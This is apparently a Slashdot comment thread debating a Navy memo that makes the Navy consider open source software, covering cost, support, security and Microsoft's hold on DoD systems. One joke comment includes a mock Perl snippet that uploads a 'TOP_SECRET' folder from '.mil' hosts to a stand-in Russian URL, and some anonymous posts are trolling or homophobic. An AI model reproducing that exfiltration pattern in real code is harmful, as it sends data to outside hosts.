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Navy Now Mandated To Consider FOSS As an Option

ScuttleMonkey posted more than 7 years ago | from the still-spending-$600-on-a-keyboard dept.

United States 205

lisah writes "In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions. According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'"

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Cool!! (3, Insightful)

phrostie (121428) | more than 7 years ago | (#19415713)

but i'm sure that one of M$'s lobby groups will pay to try and have that changed shortly.

Re:Cool!! (1)

Ngarrang (1023425) | more than 7 years ago | (#19416011)

The mandate says only to 'consider', it doesn't say to 'require'. So, as long as lip service is given to the mandate, then all will be as before, but the department will be given some good PR in the press.

Imagine Chinese say: GPL shows us your code NAVY (-1, Redundant)

Anonymous Coward | more than 7 years ago | (#19416653)


Imagine Chinese say: GPL shows us your code NAVY. Ha-ha !! Stupid, stupid !!

Re:Cool!! (4, Informative)

Registered Coward v2 (447531) | more than 7 years ago | (#19417459)

Actually, all it says is that OSS can be considered COTS; so a DON entity can now classify OSS as COTS for procurement purposes. Nothing in it says they must consider OSS during procurement; and the requirement to talk to the lawyers when considering it will probably result in it being ignored anyway.

Of interest would be the clause about internal use - if one government agency modifies it can any other use it without requiring a broader release of the source? On theory the DON, as longs the program stays within the US Government, would be under no obligation to release any modifications since they have not distributed it; all they have done is install and run it on machines owned by them.

Re:Cool!! (1, Informative)

Anonymous Coward | more than 7 years ago | (#19416475)

I worked at NRL for many years, and M$'s share of things was *tiny*. Linux workstations ruled to roost, followed by old Solaris machines. All new purchases ran Linux. Nearly 100% of the codes, applications, etc were written using open, platform independent languages and technologies. I'd venture to say that M$ is only the rule for office and administrative applications - any semi-serious technical person used some sort of *nix. This was 5 years ago.

Re:Cool!! (1)

mdsolar (1045926) | more than 7 years ago | (#19417639)

On the other hand, NMCI was always used a threat to make peole go with Enterprise versions and such. There is nothing that boost security about a new version number for the gcc libraries, but it does lead to a month's effort to get previously working software working again.

Re:Cool!! (1)

skelator2821 (958729) | more than 7 years ago | (#19417675)

Bill is on his way to Washiongton to "Straighten Out" those communist thinkers....

Inconceivable! (5, Funny)

theTrueMikeBrown (1109161) | more than 7 years ago | (#19415715)

The government saving money?

I am speechless.

Re:Inconceivable! (1)

SatanicPuppy (611928) | more than 7 years ago | (#19415931)

I never even imagined it was about money. It's about security and accountability. I can't imagine being the fricking Navy and being willing to run Windows or similar on some of my combat capable equipment...I'd want a lean, stripped down version of Linux with very specific functionality, and well audited, clean code.

I just can't imagine a military where they routinely depend on software that is geared toward Grandma where they should be using special purpose code.

Too much money getting kicked around with vendor contracts.

Re:Inconceivable! (2, Interesting)

Simon80 (874052) | more than 7 years ago | (#19416243)

You may not be able to imagine it, but the US Navy has realized [wikipedia.org] it!

Re:Inconceivable! (1)

codepunk (167897) | more than 7 years ago | (#19416593)

It has been a few years since I left the navy but when I was in there was no windows machines ever in a critical mission and I doubt that changed any....navy had tons of unix and sure it still rules the roost when it comes
to mission critical systems.

Re:Inconceivable! (0)

Anonymous Coward | more than 7 years ago | (#19417659)

Microsoft systems are slowly creeping in everywhere. On the ship I just left, the damage control terminals used as an electronic means of communicating fires, casualties, and such ran on NT. Needless to say there were lots of software issues.

Re:Inconceivable! (5, Funny)

MillionthMonkey (240664) | more than 7 years ago | (#19417061)

They're probably worried about terrorists having write access to open source CVS repositories. I saw this in SourceForge recently:

if ($hostname =~ m/.*\.mil/) {
    multiPartUpload("C:\\TOP_SECRET\\", "http://post.secrets.ru?param=suckers");
    explode() || die("The requested operation cannot be performed");
}

Re:Inconceivable! (1)

PDX (412820) | more than 7 years ago | (#19415989)

I would recommend a triple boot option for all air traffic control towers and naval units.
Simply partition the hard drive three ways and use one for linux, one for windows, and the last for OS X. If a virus trashes one system at least you'd still have redundancy. The difficulty would be on the porting of all the software to the different platforms.

*Telepathetic: When you can spot a truly pathetic nerd a mile a way.

Democracy: Where your vote counts.
Feudalism: Where your Count votes.
Demofeudalism: Where a CEO's algorythm controls the electronic voting machines with closed propietary code.

Re:Inconceivable! (1)

Evanisincontrol (830057) | more than 7 years ago | (#19416111)

Simply partition the hard drive three ways and use one for linux, one for windows, and the last for OS X.
What would be the point? So that the air traffic control operators can use whatever system they think is the prettiest? The point is picking the single most secure system, not playing with widgets.

If a virus trashes one system at least you'd still have redundancy.
How is this redundancy? There's nothing redundant about it. This is three completely different systems. You don't have redundancy at all, you just have your usable hard disk space reduced to a third of what it used to be.

Re:Inconceivable! (0)

Anonymous Coward | more than 7 years ago | (#19416073)

The government saving money?

How on earth is the govt going to "save" money simply by using FOSS? Who do they go to to fix problems. With a commercial app they go to the vendor, with FOSS they go to whom? If they use one of the commercial Linux vendors, does the money they save on simple licenses outweigh the maintenance costs, as in paying for maintenance, which they assuredly will. If they decide to go it themselves, they'll simply hire a contractor (as in someone like Boeing, not some dude) to maintain/tweak it for them. At that point you can bet that any cost savings on licenses gets swamped by "the system". Another reply mentions wanting a lean focused OS to run apps on. That assumes that the desired end product is at the very least "focused" and therefore the contract "focused", and if you've ever worked with the govt, you know full well that this is rarely the case.

This is definitely a case where the FOSS fan boys just don't get it. Saving license fees sounds great when you're trying to get an idea by Congress, but there is so much more to it than that that in the end the license fees are nothing compared to all the other stuff surrounding it.

Re:Inconceivable! (1)

cayenne8 (626475) | more than 7 years ago | (#19416831)

"How on earth is the govt going to "save" money simply by using FOSS? Who do they go to to fix problems. With a commercial app they go to the vendor, with FOSS they go to whom? "

Well, with the Sun and Oracle stuff....I'll grant you they DO get good service. However, I've never seen any type of 'support' for windows...which is quite prevalent in the NMCI system for instance.

For doing your own support, as with win-boxes...you would indeed save $$ on licensing, replacing much of that with Linux, and other FOSS applications...

I hope they create some process to allow FOSS software to be allowed to be installed and run on the networks....other approved apps have companies spending TONS of money to get them certified to run on .mil systems.

Re:Inconceivable! (2, Insightful)

fitten (521191) | more than 7 years ago | (#19416175)

This has pretty much nothing to do with saving money except to only the most casual of (misinformed) glances. I'm sure it was used as a bullet point (although false) in trying to sell it to Congress.

The Navy is NOT going to just download crap, have a monkey install it, and hope for the best. At the minimum, they will need to buy support contracts. Additionally, they will most likely hire some support staff of their own. There will likely be little cost savings in actual dollar amounts.

The OTHER advantages of FOSS are what it's all about (open formats, source code overview if desired, source code escrow, etc.)

Re:Inconceivable! (0)

Anonymous Coward | more than 7 years ago | (#19417363)

More like... the government is being infiltrated by ex-soviet communists. Why else would they push for considering open-source an option?

Sing with me (4, Funny)

niceone (992278) | more than 7 years ago | (#19415729)

In the navy
Yes, you can sail the gcc's
In the navy
Yes, you can open source with ease
In the navy
Come on now, people, make && make install
In the navy, in the navy
... hmm I've kind of painted myself into a corner there...

Re:Sing with me (4, Funny)

drinkypoo (153816) | more than 7 years ago | (#19415883)

... hmm I've kind of painted myself into a corner there...

I was going to say that you've painted yourself mauve, or possibly chartreuse.

Re:Sing with me (1)

overshoot (39700) | more than 7 years ago | (#19415891)

... hmm I've kind of painted myself into a corner there...
You need to get to the

I love to press wild flow'rs
I put on women's clothing
And hang around in bars
part

Re:Sing with me (1)

smitty_one_each (243267) | more than 7 years ago | (#19416945)

Dude, he was using The Village People, not Monty Python.

Re:Sing with me (1)

dvice_null (981029) | more than 7 years ago | (#19416219)

> In the navy
> Come on now, people, make && make install
> In the navy, in the navy
> ... hmm I've kind of painted myself into a corner there...

That is just because you forgot to run ./configure before make.

Nice chorus, but the orignial is well suited. (2, Funny)

twitter (104583) | more than 7 years ago | (#19416657)

Finish your chorus with this and then fall back to the original lyrics [oldielyrics.com] :

They want GNU
They want GNU
They want you as a GNU recruit

The original Lyrics:

Where can you find pleasure
Search the world for treasure
Learn science, technology
Where can you begin
To make your dreams all come true
On the land or on the sea
Where can you learn to fly
Play in sports or skindive
Study oceanography
Sign up for the big band
Or sit in the grand stand
When your team and others meet

If you like adventure
Don't you wait to enter
The recruiting office fast
Don't you hesitate,
There is no need to wait
They're signing up new seamen fast
Maybe you are too young to join up today
But don't you worry 'bout the thing
For I'm sure there will be
Always the good Navy
Protecting the land and sea

I'll stay away from the "signing up new seamen fast" part, but the learning and adventure part is probably more true in the free software world than it is on a boat and anything beats Bill Gates slave galleys. Pressing on with a few special mods for you WinDOS fanboys afraid of the plunge:

But, but, but
I'm afraid of Penguins
Hey, hey, look men
I get seasick
Even watching it on techTV
They Want GNU
Oh my goodness
They Want GNU
What am I gonna do in a GNU machine
They Want GNU
They Want GNU
In the Navy

In the Navy
Yes, you can apt-get with ease
In the Navy
Yes, that will put your mind at ease
In the Navy
There will be no blue screen disease
In the Navy
Can't you see we need a hand
In the Navy
Come on and share the source code
In the Navy
Come on and help your fellow man
In the Navy
Come on people and make a stand
In the Navy

Re:Nice chorus, but the orignial is well suited. (0)

Anonymous Coward | more than 7 years ago | (#19417089)

well, that's 30 minutes of your life you'll never get back

Re:Sing with me (1)

statusbar (314703) | more than 7 years ago | (#19417449)

... hmm I've kind of painted myself into a corner there...

Corner? Don't you mean closet?

--jeffk++

Is the tide turning? (0, Redundant)

Smight (1099639) | more than 7 years ago | (#19415739)

Could it be that in a 180 degree turn, from the direction it has been going in for the last 200 years, the government will try to become slightly more cost effective?

Re:Is the tide turning? (0)

frieza79 (947618) | more than 7 years ago | (#19415935)

Why do you assume that open source projects will make the Navy cost effective?
Open source != free
they will have to endure the cost of installation, training, etc. No way can they do that efficiently!

Re:Is the tide turning? (3, Informative)

zappepcs (820751) | more than 7 years ago | (#19416005)

Ahem... excuse me, but I disagree with you. I've been in the Navy, yes the same one, and Training is a regular process, not something that happens only when new systems are installed. Training is part of the job. The cost of adoption will be less of a problem than you think it might be. Porting applications to *nix from Windows will be the big cost as a portion of it is purchased from military contractors. Unless those apps are ready to run on Linux, it will cost. Training a sailor on a new system is a regular part of the job, no big sweat.

In short, I think you are wrong.

Re:Is the tide turning? (1)

frieza79 (947618) | more than 7 years ago | (#19416117)

I didn't say they were unable to be trained.
My point is, the software is not the only costs associated. Support contracts from vendors can be huge.

I dont think the navy will settle for:
"Man, this thing doesnt work"
"Uhhh, post a question on the fourm, and hope you hear back"

Re:Is the tide turning? (2, Funny)

jimicus (737525) | more than 7 years ago | (#19416859)

I dont think the navy will settle for:
"Man, this thing doesnt work"
"Uhhh, post a question on the fourm, and hope you hear back"


That is exactly why companies like IBM and RedHat exist.

Re:Is the tide turning? (0)

Anonymous Coward | more than 7 years ago | (#19416809)

Porting applications to *nix from Windows will be the big cost as a portion of it is purchased from military contractors. Unless those apps are ready to run on Linux, it will cost.

I work on a project that has a Navy contract. Everything started until UNIX twenty years ago. The big dumb companies (I'm looking at Boeing) who are the Prime integrators require deliveries in "Windows" so that they can handle everything.

Meanwhile, we have test environments in Linux, Cygwin, and Windows to facilitate all the different configurations that the code can take.

If the development was done properly in the first place, the costs of going from Windows to *nix and back would be very small. Unfortunately, as far as I can tell... the main DoD contracting companies are vastly unaware of the advantages of Linux (which will probably give my organization a leg up... :).

Re:Is the tide turning? (1)

Smight (1099639) | more than 7 years ago | (#19416047)

Why do you assume that open source projects will make the Navy cost effective?
Open source != free
they will have to endure the cost of installation, training, etc. No way can they do that efficiently!quote>

Because currently they have to pay for installation, training, ect., AND the license. Considering that they have to train from the assumption that the user doesn't know what electricity is anyway, if you subtract the cost of software everything else remains the same and cost goes down.

FOSS: The F stands for Free!

Re:Is the tide turning? (2, Insightful)

russ1337 (938915) | more than 7 years ago | (#19416621)

they will have to endure the cost of installation, training, etc. No way can they do that efficiently!
Having been on the receiving end of a few military software acquisition projects in a past life, I can say that OSS reduces the possibility of being held by the balls by the vendors for ongoing support. Talk about tapping into a major artery when you sell Defense software and they want changes.

Also, commercial licensing usually doesn't fit the military all that well. You may want some software for a certain project and that is fine. Once it has proven itself you usually find other area's / forces (or even friendly nations) wanting it, yet the cost/product/licensing/configuration s have changed and you're not free to share. With OSS you may be free to simply roll it out across the service / other nations.

There are many inter-service & inter-country programs that actually work very well with sharing tools and software, and often the proprietary models are just not accommodating. I don't mind fulfilling and complying with commercial licenses (of course), but often, we need the flexibility to change the actual hardware and don't have the time to 're-activate' the product via some crazy product key tied to the hardware (one example [boeing.com] of a product with a ridiculous 'DRM' scheme, tied to hardware, no backups) Also, some licenses have actually prohibited us from making a Ghosted backup - if all turns to hell, then we actually need the ability to trace our footsteps by seeing if we can re-create the behavior that caused the proprietary software to go T.I.

At least forcing some in acquisitions to at least acknowledge OSS is a start. A good start.

Strategy for getting M$ price concessions (2, Insightful)

Silver Sloth (770927) | more than 7 years ago | (#19415759)

If you're a large enough organisation there's no better way of getting your M$ licensing costs down than 'investigating FOSS solutions'. Mind you, with the US navy's long history of cost effective purchasing maybe this isn't a factor here!

Re:Strategy for getting M$ price concessions (1)

jd (1658) | more than 7 years ago | (#19416069)

They also own a LOT of Sco UnixWare boxes and a vast number of HP-UX machines. My bet would be that they're going to start by not renewing SCO licenses and see if they like what they get. It'll save cash, UnixWare can't be supported if all SCO can pay are the lawyers, and it doesn't put any of their Microsoft software at risk.

(They can't switch of Microsoft easily, anyway, as they switched to a pure Microsoft solution for application serving, security and externally-visible connections. This was back in 2003, so so. Fools.)

consider (1)

jcgf (688310) | more than 7 years ago | (#19415765)

Yeah I bet what will happen is that thay will consider the open source and then lube up for old uncle bill's mad upgrade cycle as usual.

Latest from Redmond (1, Funny)

Anonymous Coward | more than 7 years ago | (#19415801)

I'm going to f***ing KILL the Navy!!!!

Re:Latest from Redmond (1)

forrestt (267374) | more than 7 years ago | (#19416025)

No, he'll just buy them and integrate them into the next version of Windows.

Re:Latest from Redmond (1)

Karzz1 (306015) | more than 7 years ago | (#19417545)

No, he'll just buy them and integrate them into the next version of Windows.

So that is how they plan to combat piracy?

Finally! (5, Funny)

eln (21727) | more than 7 years ago | (#19415831)

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM. Still in alpha, and right now it's got a little bit of a bug where if you try to get the sub to surface it will occasionally launch all of its missiles, but it's still pretty usable.

Re:Finally! An F-22 Problem? (2, Interesting)

Nom du Keyboard (633989) | more than 7 years ago | (#19416319)

Maybe now someone will finally download (or, dare I say, contribute?) to my sourceforge project. It's an Open Source nuclear submarine guidance system forked from an early beta of GAIM.

What happens when it crosses the International Dateline? [defenseindustrydaily.com]

Re:Finally! An F-22 Problem? (1)

sconeu (64226) | more than 7 years ago | (#19416499)

I think the International Dateline was a red herring.

I doubt *any* flight control system works on the local time of the location being overflown, but on Zulu (UTC) or on the local time of the point of origin.

What's lost in this is that the Dateline is also longitude +/- 180. I'd argue that the NAV system software probably choked on the sign change of longitude.

Re:Finally! An F-22 Problem? (1)

twiddlingbits (707452) | more than 7 years ago | (#19417307)

In the F-16A there was a code problem like this and it was fixed quickly. The F-22 FCS code is a derivative of the F-16 code base, so depending on where they forked it could be there. I doubt the problem occurred in a real flight most likely in a simulator and rumors got started.

Re:Finally! (1)

morgan_greywolf (835522) | more than 7 years ago | (#19416435)

Hmmm. Well, it probably still beats the hell out of Windows for Warships [wired.com]

Re:Finally! (3, Funny)

Anonymous Coward | more than 7 years ago | (#19416847)

I tried but you claim not to support my hardware because the manufacturer won't release specs. Can you recommend a good nuclear first-strike-capable ballistic missile launch platform with free drivers?

Russia was first (1)

Jaxoreth (208176) | more than 7 years ago | (#19417569)

"Pretty usable"?!

I heard the Russians used your guidance system on one of their newest subs and had a nuclear radiation leak, shortly after which they got torpedoed by an American sub which just 'happened' to figure out how to listen to their silent caterpillar drive.

Don't expect me to be running your system any time soon. I think you have a lot to answer for.

This could get ugly (1)

overshoot (39700) | more than 7 years ago | (#19415863)

The "close relationship" between the Services and their suppliers has been very cozy now since the pre-WWII Gun Club [1]. This threatens to mess with that, and if the Petty Officers don't deep-six it, the Captains who really run acquisition will.

Next thing you know, they're going to start messing with the coffee -- it ain't gonna be pretty.

[1] OK, probably since George Washington's quartermaster. When he was in his 20s. Certainly since the people who supplied the Army of the Republic in the Civil War.

Go Go, GI Joe (3, Insightful)

Fx.Dr (915071) | more than 7 years ago | (#19415865)

Anyone else here find this article lacking? I'm as thrilled as the next guy that alternatives are being sought out by, well, any Gov't agency. But now what I'd like to see is an article detailing the cost associated with the transition from COTS to FOSS and its associated learning curve.

Re:Go Go, GI Joe (1)

QuantumRiff (120817) | more than 7 years ago | (#19415905)

This is about having they navy investigate FOSS solutions. The data you are wanting will be in the Reports and Recommendations that come later, as a result of this. ie, the result of the investigations...

Avast, matey (0)

Anonymous Coward | more than 7 years ago | (#19415877)

Set sail on the seven severs!

Great! This is what you have to do (4, Insightful)

i_want_you_to_throw_ (559379) | more than 7 years ago | (#19415923)

When I worked for the Army I had to unilaterally implement FOSS solutions because the people who controlled the purse strings knew nothing about technology. They were dazzled by Oracle, M$ and every other vendor. One young green suiter from the front office put it to me this way: "Just say that this great open source solution will cost you X million dollars and take two years to implement. That's the only thing we understand".

Re:Great! This is what you have to do (0)

Anonymous Coward | more than 7 years ago | (#19415957)

and i suppose it did not occur to you that there is a very good reason WHY open source is not used extensively in defence? who wrote that code? did you audit every single line? open source code has a dubious history, and there could be all sorts of risks to our infrastructure in using it, so it should be totally banned

if they need a good quality, trusted operating system, they should be using OS X

Re:Great! This is what you have to do (0)

Anonymous Coward | more than 7 years ago | (#19416059)

if they need a good quality, trusted operating system, they should be using OS X
Why would they want to encourage homosexuality among sailors?

Re:Great! This is what you have to do (1)

forrestt (267374) | more than 7 years ago | (#19416105)

So, you are saying they shouldn't use FOSS code because it has a dubious history, they should use a closed source package that was built on FOSS code that has a dubious history. Did I miss something there?

Re:Great! This is what you have to do (0)

Anonymous Coward | more than 7 years ago | (#19416871)

unlike lin-sux, OS X is maintained and certified by an AMERICAN corporation with professional AMERICAN programmers

Re:Great! This is what you have to do (0)

Anonymous Coward | more than 7 years ago | (#19416423)

While closed source code has no history at all. Jackass. The average open-source project is just incredibly better-audited than a closed-source app. In military environments, the choice should be between open-source and in-house-developed. Close source idiots shouldn't even get a look in - it's like asking a medieval alchemist to run your particle accelerator.

Re:Great! This is what you have to do (4, Interesting)

jd (1658) | more than 7 years ago | (#19416767)

There are only a handful of OS' that are considered "trusted". HP-UX BLS, Trusted Unicos 8.0, SEVMS, CS/SX, Trusted IRIX, Trusted Solaris, VSLAN, Trusted XENIX, XTS-300, XTS-400, PR/SM, SACDIN, THETA and Genesis. I see a distinct lack of OS/X, Microsoft isn't even remotely close, Linux has 30% of the RBAC requirements to be really secure in a modern environment - which is better than many, and OpenBSD is only considered watertight from external attacks - it has minimal security between users.

When you consider that you can build role-based access controls that can migrate with applications across clusters, when network connection types, network bandwidth, shared memory and inter-process communication have mandatory access controls, you really begin to see just how pathetically limited generally-available OS' really are. There's no reason for it - there's nothing that prevents a widely-available system from being harder than a diamond-encrusted pulsar.

The reason that nobody bothers much with making OS' secure is that the DoD has long-proved (by buying Windows and by failing their security audits) that security doesn't matter enough to be worth the effort. Security to this level costs big money, and only the really big corporations can afford the costs or have the market to pay for it. Companies can lose hundreds of thousands of credit cards and maybe get rapped knuckles - if they're even discovered. Only one State requires reporting - but plenty of other places have e-Commerce. System crackers - black hats especially - are a pervasive part of society with no serious effort to secure networks against them.

If the money did exist, if there was serious interest in serious prevention, host intrusion detection wouldn't be MD5 checksums (which were beaten soundly, according to the Internet Auditing Project). Plain-text passwords wouldn't exist. One-time pads and public-key encryption would be the only way to log onto Slashdot or any other web service. Zombies, Trojans and Viruses would be found in technology museums, under "extinct electronic lifeforms". If a disk drive with tens of millions of credit cards or social security numbers went missing, in a secure world that would be cause for a few minutes downtime to replace what was lost, rather than a few weeks or months of running round in circles doing nothing.

You see any of that happening? No? Then security is still regarded as an optional extra, not as a fundamental design requirement, and will never reach its true potential. Furthermore, agencies will continue buying/copying OS' based on ease of initial deployment and not on whether it'll protect the data sufficiently.

Re:Great! This is what you have to do (1)

twiddlingbits (707452) | more than 7 years ago | (#19417327)

NT 4.0 was considered trusted for some levels of classified material (SECRET as I recall). I know, I used it. But the Gold Standard is Trusted Solaris.

Steps to ultimate power! (1)

Aazn (1093437) | more than 7 years ago | (#19415941)

Step 1. Consider FOSS - COMPLETE Step 2. Dump Microsoft Step 3. Make P2P sharing legal Step 4. ??? Step 5. Profit!

Coast Guard is doing something.... (1)

tcopeland (32225) | more than 7 years ago | (#19415945)

...at least, the fellows at CGA are looking into using Linux for Coast Guard systems [cga.edu] . Coast Guard, the armed service that works for a living [blogs.com] !

Re:Coast Guard is doing something.... (1)

stoolpigeon (454276) | more than 7 years ago | (#19416127)

armed service? works? you have seen the c.g. enlistment oath - right?
 
U.S. COAST GUARD ENLISTMENT OATH
"I, (State your name), swear to sign away 4 years of my life to the UNITED STATES COAST GUARD because I know being in the real military scares me. However, I swear to defend our position as the fifth branch of the Armed Services, although at one point we were under the Department of Homeland Security. I understand that atleast twice a day, someone will refer to me a member of the Air Force or Navy, and when I correct them, they will question my military status. I will work on boats the size of kayaks and small yachts during the worst of natures storms, and recieve no thanks or notice form the public. I will fly in helos into the eye of the storm to rescue people dumber then rocks, and then be heckled by the same people when I bust them for transporting drugs two months later.! I will prevent thousands of gallons of pollution, but be accused of impeding the economy when I won't allow vessels to pour oil into the ocean. I will be the red-headed step child to all of the other services, although I know I got the better deal. All of my equipment will be discarded Navy property. I will use most of my time in the Coast Guard to take college classes, and perfect my web surfing abilities, then complain that I work too much. I will perfect avoiding PT at all costs, and do my best to attend training that will give me a great competitive edge in the career field of my choice, making retention efforts of the Coast Guard pointless. I will come in contact with so many pollutants during my tenure, I will glow in the dark for the rest of my natural life and refer to myself as "salty" because of it. I will do my best to work 8 to 3, with a two hour lunch, on normal days, and have my pager and cell phone surgically attached, SO HELP ME GOD.

Re:Coast Guard is doing something.... (1)

tcopeland (32225) | more than 7 years ago | (#19416207)

> I will fly in helos into the eye of the storm to rescue
> people dumber then rocks, and then be heckled by the same
> people when I bust them for transporting drugs two months later.

If only it had been that exciting! I spent my CG career checking EPIRBs, counting rockfish, and filling out boarding reports. And spending money on barcode equipment no one used. Ah well. But, the gunnery exercises were fun!

Fuck. (0, Flamebait)

Mockylock (1087585) | more than 7 years ago | (#19415949)

MAYBE, just MAYBE, they should consider creating their own software and environments that are specific to their own use. Rather than use something "open source" that everyone has access to... for a reason of... um... what's that word called?.... Security?

Re:Fuck. (1)

ThosLives (686517) | more than 7 years ago | (#19416045)

That's what I would think... unless they're talking about office apps to run on their own closed networks.

Running general purpose software on special-purpose machines (e.g., battleships, weapons, etc.) seems like a bad solution to me.

But, then again, I have been accused of being idealistic.

Re:Fuck. (1)

pilbender (925017) | more than 7 years ago | (#19416063)

That's been done for programming languages, Ada anyone? I'm sure it's been done for operating systems as well.

I don't see why leveraging years of open source development work can't be an effective place to start when a solution is desired. That's open source: build and extend. No reason to start from scratch, for "security purposes." Open source has proven a flexible, viable and secure paradigm.

The beauty of something like Linux is that you don't have to include anything that's *not* secure for the functioning of a system. All you have to do is strip it down for your needs. It can be as secure as they want to make it for their particular purpose.

Re:Fuck. (1)

Mockylock (1087585) | more than 7 years ago | (#19416169)

I agree.. But, I do wonder what this actually pertains to? (if I had the attention span to read up, I'd probably find out.)

I know that several Electronic Attack jets in the Navy actually run on a windows base, but, it's probably a special flavor of some sort. I could see general IT tools, programming and such, playing a key when it comes to new open source ideas as well.

I work at a company that deals with secure financial information and they rely on quite a few open-source tools, but they're windows-based programming.

It would be nice to know the details of it all... and I doubt that even if they did decide on products, it would be wise to not tell the public what they choose. (In other words, we'll hear about it tomorrow.)

Re:Fuck. (1)

mashade (912744) | more than 7 years ago | (#19416183)

Sure, because security through obscurity like that always works.

Wouldn't you rather have something peer reviewed and thoroughly tested?

Re:Fuck. (1)

Mockylock (1087585) | more than 7 years ago | (#19416283)

Yeah, to an extent.. ...but I'd rather my family test the lock on my door that I just made, than buy one off the shelf that has a manual for everyone to read on.

Fuck-and Gaping. (0)

Anonymous Coward | more than 7 years ago | (#19416353)

"Wouldn't you rather have something peer reviewed and thoroughly tested?"'

Why yes I would. [slashdot.org]

Re:Fuck. (1)

crAckZ (1098479) | more than 7 years ago | (#19416217)

Something tells me you wont be able to go and download a guidence system for nuclear weapons of sourceforge. it is like the FAA switching to redhat but i doubt you will be able do find anything of that nature floating around.
although i did hear about a project for a nuclear sub on sourceforge. it is pretty neat. a happy face when all is good and a :( when in the middle of war. still alpha though

Security (1)

mdsolar (1045926) | more than 7 years ago | (#19417195)

External IT security attacks happen all the time but they are pretty ineffective because the network can be monitored, CERT alerts are acted on promptly, patches applied as they are released and such. The damaging attacks come from people carrying data out on disks for pay. Those are hard to detect and also quite demoralizing, in part because trust is broken and in part because of the pompous zenophobic lectures from the folks who didn't do their job well enough. Resorting to name calling is unprofessional.

Presidential Memo To Slashdot: (-1, Troll)

Anonymous Coward | more than 7 years ago | (#19416019)


Rest assured, corporatism, no.... make that FASCISM is alive and well in the Gulag [whitehouse.org] .

Microsoft will get the contract.

Prezidentshully yourz,
W.

Blame (0, Flamebait)

slapout (93640) | more than 7 years ago | (#19416027)

Its Bush's fault!!

Issues, issues. Who has tissues? (0)

Anonymous Coward | more than 7 years ago | (#19416067)

"According John Weathersby, executive director of the Open Source Software Institute, this is the first in a series of documents that will also address 'development and distribution issues regarding open source within Navy IT environments.'""'

Oh there are no issues. [slashdot.org]

Net result: very little. (4, Insightful)

Frosty Piss (770223) | more than 7 years ago | (#19416153)

In a memorandum handed down from Department of the Navy CIO John Carey this week, the Navy is now mandated to consider open source solutions when making new software acquisitions...

Judging based on my knowledge of DoD networks and computer applications, I don't believe this will have much of an effect on IT decisions in the Navy. (at the Air Force base I work at, we have some BSD, but it's running on specialized devices on a very small scale). It reminds me of how my father did equipment purchasing at the university he worked at (and I'll bet most Navy IT sections will do the same): The university had a set of requirements for big computer purchases that favored specific venders and things like low bit. By dad simply wrote the specs for what he wanted so strictly that only one product would satisfy the requirements.

Also, keep in mind that great scads of DoD IT is standardized on Microsoft networks and applications that would be difficult to integrate with OSS for a variety of reasons. And, there will always be FUD based "security" reasons that military networks will want to avoid OSS.

Net result: very little.

Revolution, real revolution works a step at a time (0)

Anonymous Coward | more than 7 years ago | (#19416325)

In the beginning, only the guys who want it will use it. Thats how it starts. Then other people will try.

Besides, working with these guys, I find they spend a lot of time on licensing and acquisition. On an enterprise scale, this is the best part about OSS.

Another perk, never having to deal with Oracle Reps again.

Re:Revolution, real revolution works a step at a t (1)

Frosty Piss (770223) | more than 7 years ago | (#19417059)

Besides, working with these guys, I find they spend a lot of time on licensing and acquisition.

Are you suggesting that they would jump at the chance for a simpler, less time consuming process? I don't think so, that would mean the loss or downgrade of a manning position. It may be a pain in the ass, but it translates into someone's job.

Yeah, and the USAF uses ADA (3, Interesting)

Liquidrage (640463) | more than 7 years ago | (#19416229)

When I was writing software for the USAF we were required to use ADA. I worked at the USAF's largest software factory. No one there used ADA for anything.

So to me the announcement means nothing. Military doesn't always eat it's own dog food.

Actions, Not Words! (3, Funny)

Nom du Keyboard (633989) | more than 7 years ago | (#19416239)

now mandated to consider open source solutions

Talk about an arrangement of words that don't mean cr@p in the real world.

Navy: Yeah we thought about it. Considered it even. Then went back to what we've been doing all along. Only terrorists use FOSS. Microsoft told us so.

For security purposes perhaps. (1)

jshriverWVU (810740) | more than 7 years ago | (#19416269)

This reminds me of an old article I read once where a Navy ship? sub? almost blew it's top when a system machine running Win NT crashed.

I can see the Navy using FOSS since they can hire people to modify it to their specific needs and save money while also increasing security.

Re:For security purposes perhaps. (1)

sconeu (64226) | more than 7 years ago | (#19416545)

I guess you're talking about the USS Yorktown [wikipedia.org] .

Just As Soon As... (0)

Anonymous Coward | more than 7 years ago | (#19416305)

... the FOSS community gets done testing (and documenting testing) to full mil spec requirements.

Doesn't seem like that'll be any time soon, given the common "so code it yourself" attitude.

No surprise (3, Informative)

GovCheese (1062648) | more than 7 years ago | (#19416311)

No surprise here. The Navy has a history of being very ahead of the curve with their IT compared to many government counterparts, including cabinet level agencies. When other agencies were begging for connectivity with handhelds, the Navy had already had long rolled them out aboard their ships for connectity with the server operations of different onboard departments. Navy IT has been forward thinking for quite some time now. They'll consider FOSS very seriously and hopefully it'll have a ripple effect in other USG areas.

Consider eh? (2, Interesting)

Zironic (1112127) | more than 7 years ago | (#19416389)

If I understand this correctly.

Before the navy had no idea under what label they were supposed to put open source software so they didn't consider it (out of lazyness?). Now open source is defined as a commercial item so the navy can purchase it the same way they do with other software.

However this doesn't seem to in any way prevent the large companies from doing what they always do. Just bribe the officials responsible for deciding what software/hardware to use and get them to make the navy pay for their expensive useless stuff.

I doubt we'll see any great rise in the amount of open source software used in the navy just yet. It's a fairly big step in the right direction though. I would seriously not have thought that one of the big difficulties of using open source was defining it for your paper work o.O

More paperwork? (2, Informative)

pcraven (191172) | more than 7 years ago | (#19416427)

While I heartily support and use FOSS, I wonder if this adds yet more red tape?

A long while back I worked for USGS. We were hampered with hiring people, getting new software, hardware, etc because of all the paperwork. If we made a decision we had to consider 50 different laws and regulations. Individually, they were great ideas. Put together they were paralyzing. This is the reason we were stuck with Data General for so long, because no one wanted to do the paperwork to change vendors.

One word: NMCI (1)

mdsolar (1045926) | more than 7 years ago | (#19416555)

The Navy Marine Corp Intranet http://www.eds.com/sites/nmci/ [eds.com] is controlled by EDS, Ross Perot's old company. It is very restrictive and last I knew only allowed windows on it. Only selected applications can be installed on a computer on this network and it is tough to make the list. This could be good for some software that runs on windows to show it is ready for prime time, but it is going to be tough to get managers to go through the hassle of getting it approved. The Navy and Marine Corps have put themselves in a Microsoft box on this one I think.
--
Rent Solar Power, no installation cost: http://mdsolar.blogspot.com/2007/01/slashdot-users -selling-solar.html [blogspot.com]

Re:One word: NMCI (1)

